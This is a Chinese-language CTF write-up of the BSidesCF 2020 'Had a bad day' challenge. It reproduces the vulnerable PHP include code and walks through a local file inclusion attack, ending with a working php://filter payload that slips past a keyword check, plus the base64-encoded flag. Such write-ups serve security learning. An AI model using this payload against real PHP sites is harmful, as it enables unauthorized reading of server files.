[BSidesCF 2020]Had a bad day

打开题目

[BSidesCF 2020]Had a bad day_第1张图片

 

 

 问我have a bad day?

随便点一个出现了

[BSidesCF 2020]Had a bad day_第2张图片

 

 

 地址栏出现了?category=woofers

然后点另外一个

 

 

 

地址栏出现了?category=meowers

于是推测这个可能是打开某个页面

于是我尝试用get传参?category=flag.php

[BSidesCF 2020]Had a bad day_第3张图片

 

 

 出现了只支持woofers和meowers也就是前面点的那个

然后我尝试在woofers后面加个.php

结果出现了

[BSidesCF 2020]Had a bad day_第4张图片

 

 

 说明它是你输入一个然后他会自动补上一个.php

然后我找不到思路了,根据题目上面提供了github链接我找到了源码

 php
                $file = $_GET['category'];

                if(isset($file))
                {
                    if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
                        include ($file . '.php');
                    }
                    else{
                        echo "Sorry, we currently only support woofers and meowers.";
                    }
                }
                ?>

然后我本来以为是用数组来绕过strops函数,

[BSidesCF 2020]Had a bad day_第5张图片

 

 

 结果出现了这个,失败了。

然后我csdn上面看了下别人的wp。

说要用php伪协议读取。

根据前面源代码可知,要读文件必须要有woofers或者meowers

于是get传参woofers/../flag

然后在源代码里面看到了

要用php伪协议读取flag

?category=php://filter/convert.base64-encode/resource=flag

 结果出现了

Sorry, we currently only support woofers and meowers.

 我想起来读文件里面必须要有index,woofers之中的一个所以我改payload:

?category=php://filter/convert.base64-encode/woofers/resource=flag

然后得到了:

PCEtLSBDYW4geW91IHJlYWQgdGhpcyBmbGFnPyAtLT4KPD9waHAKIC8vIGZsYWd7ZGY4YjY2NjEtZjNmMC00ODIyLWJmZDUtZWQxNWY1YWMwMzU2fQo/Pgo=

  然后解个密就得到答案了。

你可能感兴趣的:([BSidesCF 2020]Had a bad day)